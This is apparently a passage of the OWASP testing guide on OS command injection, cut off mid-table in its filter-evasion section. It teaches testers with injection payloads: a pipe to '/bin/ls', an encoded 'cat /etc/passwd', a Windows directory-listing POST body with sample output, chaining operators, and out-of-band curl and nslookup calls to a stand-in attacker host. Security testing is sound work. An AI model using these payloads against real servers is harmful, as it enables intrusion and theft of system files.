# Testing for Command Injection

|ID          |
|------------|
|WSTG-INPV-12|

## Summary

This article describes how to test an application for OS command injection. The tester will try to inject an OS command through an HTTP request to the application.

OS command injection is a vulnerability that occurs when user input is directly passed to an operating system command without proper validation or sanitization. This allows the user to inject and execute arbitrary commands on the server which can lead to unauthorized data access, data corruption, and full server compromise. This vulnerability can be prevented by emphasizing security during the design and development of applications.

## Test Objectives

- Identify and assess command injection points.
- Bypass special characters and OS commands filter.

## How to Test

When viewing a file in a web application, the filename is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol `|` onto the end of the filename.

Example URL before alteration:

`https://sensitive/cgi-bin/userData.pl?doc=user1.txt`

Example URL modified:

`https://sensitive/cgi-bin/userData.pl?doc=user1.txt|/bin/ls`

This will execute the command `/bin/ls`.

Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. `%3B` is URL encoded and decodes to semicolon

Example:

`https://sensitive/something.php?dir=%3Bcat%20/etc/passwd`

### Example

Consider the case of an application that contains a set of documents that you can browse from the internet. If you fire up a personal proxy (such as ZAP or Burp Suite), you can obtain a POST HTTP like the following (`https://www.example.com/public/doc`):

```txt
POST /public/doc HTTP/1.1
Host: www.example.com
[...]
Referer: https://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf
```

In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following (`https://www.example.com/public/doc`):

```txt
POST /public/doc HTTP/1.1
Host: www.example.com
[...]
Referer: https://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf+|+Dir c:\
```

If the application doesn't validate the request, we can obtain the following result:

```txt
    Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'
    Output...
    Il volume nell'unità C non ha etichetta.
    Numero di serie Del volume: 8E3F-4B61
    Directory of c:\
     18/10/2006 00:27 2,675 Dir_Prog.txt
     18/10/2006 00:28 3,887 Dir_ProgFile.txt
     16/11/2006 10:43
        Doc
        11/11/2006 17:25
           Documents and Settings
           25/10/2006 03:11
              I386
              14/11/2006 18:51
             h4ck3r
             30/09/2005 21:40 25,934
            OWASP1.JPG
            03/11/2006 18:29
                Prog
                18/11/2006 11:20
                    Program Files
                    16/11/2006 21:12
                        Software
                        24/10/2006 18:25
                            Setup
                            24/10/2006 23:37
                                Technologies
                                18/11/2006 11:14
                                3 File 32,496 byte
                                13 Directory 6,921,269,248 byte disponibili
                                Return code: 0
```

In this case, we have successfully performed an OS injection attack.

## Special Characters for Command Injection

Special characters are used to chain multiple commands together.
These characters will vary based on the operating system running on the web server.
For instance, the following types of command chaining can be used on both Windows and Unix-based systems :

- `cmd1|cmd2` : cmd2 will be executed whether cmd1 succeeds or not.
- `cmd1||cmd2` : cmd2 will only be executed if cmd1 fails.
- `cmd1&&cmd2` : cmd2 will only be executed if cmd1 succeeds.
- `cmd1&cmd2` : cmd2 will be executed whether cmd1 succeeds or not.  

Note that, `;` will work on Unix-based systems and PowerShell. However, it will not work on Windows Command Prompt (CMD).  
Furthermore, you can use Bash command substitution `$(cmd)` or &grave;`cmd`&grave; to execute commands on Unix-based systems.  
Additionally, Linux file descriptors such as `>(cmd)`, `<(cmd)` can also be used.

## Additional Command Injection Techniques

Attackers may leverage different techniques to execute operating system commands depending on the environment and filtering mechanisms.

### Command Substitution

Command substitution allows the output of one command to be used as input to another command.

Examples:

```bash
$(whoami)
`whoami`
```

### Command Chaining

Multiple commands can be executed sequentially using command chaining operators.

Examples:

```bash
cmd1 ; cmd2
cmd1 && cmd2
cmd1 || cmd2
```

### File Redirection

Attackers may redirect command output to files accessible by the web server.

Example:

```bash
whoami > /var/www/html/output.txt
```

### Out-of-Band Command Injection

Attackers may use external services to detect command execution.

Examples:

```bash
curl http://attacker.com
nslookup attacker.com
```

## Filter Evasion

To prevent OS command injection, web developers often use filters. However, these filters are sometimes not properly implemented which allows attackers to bypass them.
In this section, we will cover different techniques used to bypass those filters.

### Methodology

First of all, it is always good practice to have a basic understanding of how the filter works before trying to bypass it.
Here is a methodology we can use when we come across a filter:

- Is the filter client-side or server-side ?
- Is the filter applied on special characters, OS commands, or both ?
- Is the webapp using a allowlist or blocklist filter ?
- What OS is running on the web server? This allows us to have an idea of the commands and special characters we can use.

### Special Characters Filter Evasion

As previously mentioned, filters can either be applied on special characters, OS commands or both.
To bypass filters applied on special characters, we can use environment variables, Bash brace expansion or URL encoding.

#### URL Encoding

URL encoding special characters can allow us to bypass the filter if the web server only blocks the plaintext special characters.
Here are some special characters with their URL encoded format:

|Special Character|URL Encoding|
|-----------------|------------|
|;                | %3b        |
|space            | %2